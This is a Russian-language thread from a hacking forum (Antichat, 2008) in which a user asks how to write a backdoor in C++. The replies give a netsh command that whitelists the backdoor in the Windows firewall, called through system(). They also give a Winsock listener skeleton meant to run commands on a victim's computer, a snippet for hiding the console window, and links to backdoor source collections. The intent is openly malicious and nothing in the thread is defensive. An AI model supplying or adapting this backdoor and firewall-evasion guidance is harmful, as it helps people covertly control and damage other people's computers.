HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

backdoor на c++
  #1  
Старый 22.11.2008, 18:45
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
С нами: 9785147

Репутация: 137
По умолчанию backdoor на c++

Сразу прошу прощения за содания новой темы, так как в гугле ничего не нашол.

В общем, хочу попробывать написать свой backdoor.
Хотелось бы примеров самых елементарных
Клиент-сервер приложений.
Если есть исходники бэкдуров на C++ то тоже выложите.

Буду благодарен за любую помощь
 
Ответить с цитированием

  #2  
Старый 22.11.2008, 18:47
nerezus
Флудер
Регистрация: 12.08.2004
Сообщений: 3,791
С нами: 11444066

Репутация: 2290


По умолчанию

Купи книжку по операционным системам с уклоном на программирование.
 
Ответить с цитированием

  #3  
Старый 22.11.2008, 22:04
xismyname
Познающий
Регистрация: 07.09.2008
Сообщений: 79
С нами: 9302336

Репутация: 10
По умолчанию

Цитата:
Сообщение от ZET36  
Сразу прошу прощения за содания новой темы, так как в гугле ничего не нашол.

В общем, хочу попробывать написать свой backdoor.
Хотелось бы примеров самых елементарных
Клиент-сервер приложений.
Если есть исходники бэкдуров на C++ то тоже выложите.

Буду благодарен за любую помощь
Написание клиент-сервер самое легкое.

Если хочешь написать хороший backdoor тебе придеться обойти firewall это уже довольно трудно,конечно если речь не идет о виндовс firewall-е =)
Его можна обойти вот таким вот способом :

Код:
netsh firewall add allowedprogram program="C:\PUT_BACKDOORU.EXE" scope=ALL  name=Name_of_Backdoor_in_firewall_allowedprogram_list
Если пишеш на C или C++ то передай примерно такую строку функции system() и считай что ты общел виндовс firewall =)
 
Ответить с цитированием

  #4  
Старый 23.11.2008, 00:50
ртуть
Постоянный
Регистрация: 31.08.2007
Сообщений: 571
С нами: 9839906

Репутация: 953


По умолчанию

куча доров на С++ на vx.netlux.org
 
Ответить с цитированием

  #5  
Старый 23.11.2008, 00:58
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
С нами: 9785147

Репутация: 137
По умолчанию

Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html

но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
извинте в си++ я новичок, может я что не так сделал?

 
Ответить с цитированием

  #6  
Старый 23.11.2008, 14:54
xismyname
Познающий
Регистрация: 07.09.2008
Сообщений: 79
С нами: 9302336

Репутация: 10
По умолчанию

Цитата:
Сообщение от ZET36  
Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html

но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
извинте в си++ я новичок, может я что не так сделал?

Привет.
Я вот никак не понимаю почему ты пишеш троянь с GUI ???
Скачай себе компилятор LCC-WIN32 - самый лучший вариант для написание бекдора,т.к. программы получаються довольно маленькими + не приходиться добавлять разные библиотеки как это делаеться в VC++.

Создай консольную программу,закинь туда такой код :
Код:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#define PORT 22222

int main(void)
{
	struct sockaddr_in addr; // структуа где будет храниться наш локальный адрес
	WSADATA wsd; // тут будет храниться информации о загруженном сокете
	SOCKET ls,rs; // два сокет,один для принятии подключении другой для коммуникации с клиентом
	char r_buf[1024],s_buf[1024]; // заниаем в памяти место с размером два килобайта.
	int r_buflen;

	if(WSAStartup(MAKEWORD(2,2),&wsd) == 0) // Загружаем виндовс сокет
	{
                // заполняем структуру для локального адреса  
		addr.sin_addr.s_addr = htonl(INADDR_ANY); //
		addr.sin_port        = htons(PORT);       // Переводим константу INADDR_ANY и PORT внутренний формат
		addr.sin_family      = AF_INET;
		ls                   = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  // создаем сокет,протокол TCP

		if(bind(ls,(SOCKADDR*)&addr,sizeof(addr)) == -1) // соединяем локальный адрес с сокет
		{
			puts("Error : bind()");
		}
		if(listen(ls,3) != -1) // посылаем сигнал kernel-у, что мы готовы принимать соединения
		{
			rs = accept(ls,NULL,NULL); // а тут принимаем соединение

			if(rs != -1)
			{
				r_buflen = recv(rs,r_buf,strlen(r_buf),0); // после принимаем данный от удаленного хоста

				if(r_buflen != -1 && r_buflen != 0)
				{

					/* ТУТ ПРОВОДИМ СВОИ УЖАСНЫЕ ОПЕРАЦИИ НА УДАЛЛЕНОМ КОМПЕ  =D */
 					/* И ПОСЫЛАЕМ РЕЗУЛЬТАТ КЛИЕНТУ,Т.Е. НА ТВОИ КОМП */
					send(rs,s_buf,strlen(s_buf),0);
				}
			}
		}
		else
		{
			puts("Error : listen()");
		}
	}
	else
	{
		puts("Error : WSAStartup()");
	}
	return 0;
}
После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так :

Код:
char h_name[128];
HWND h;

GetModuleFileNameA(NULL,h_name,strlen(h_name));
h = FindWindowA(NULL,h_name);
Только если эту прогу запустишь с помощью компилятора то окно не исчезнет,зайди в папку где ты сохранил прогу и запусти ее нормальнын способом.
 
Ответить с цитированием

  #7  
Старый 23.11.2008, 01:03
Jes
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
С нами: 10037186

Репутация: 1462
По умолчанию

Цитата:
Сообщение от ZET36  
Если есть исходники бэкдуров на C++ то тоже выложите.
https://forum.antichat.ru/thread55225.html

http://forum.antichat.ru/thread19146.html

-----------------
имхо, крайне тупая и бесполезная тема
 
Ответить с цитированием

  #8  
Старый 23.11.2008, 01:07
criz
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
С нами: 9746420

Репутация: 119
По умолчанию

error 10061: Подключение не установлено, т.к. конечный компьютер отверг запрос на подключение.
 
Ответить с цитированием

  #9  
Старый 23.11.2008, 16:00
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
С нами: 9785147

Репутация: 137
По умолчанию

xismyname спасибо, правда гуглил, все ссылки битые. На офф сайте тоже нету http://www.cs.virginia.edu/~lcc-win32/lccwin32.exe .Можеш выложит пожайлусто?
 
Ответить с цитированием

  #10  
Старый 23.11.2008, 17:08
xismyname
Познающий
Регистрация: 07.09.2008
Сообщений: 79
С нами: 9302336

Репутация: 10
По умолчанию

Цитата:
Сообщение от ZET36  
xismyname спасибо, правда гуглил, все ссылки битые. На офф сайте тоже нету http://www.cs.virginia.edu/~lcc-win32/lccwin32.exe .Можеш выложит пожайлусто?
Тут
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.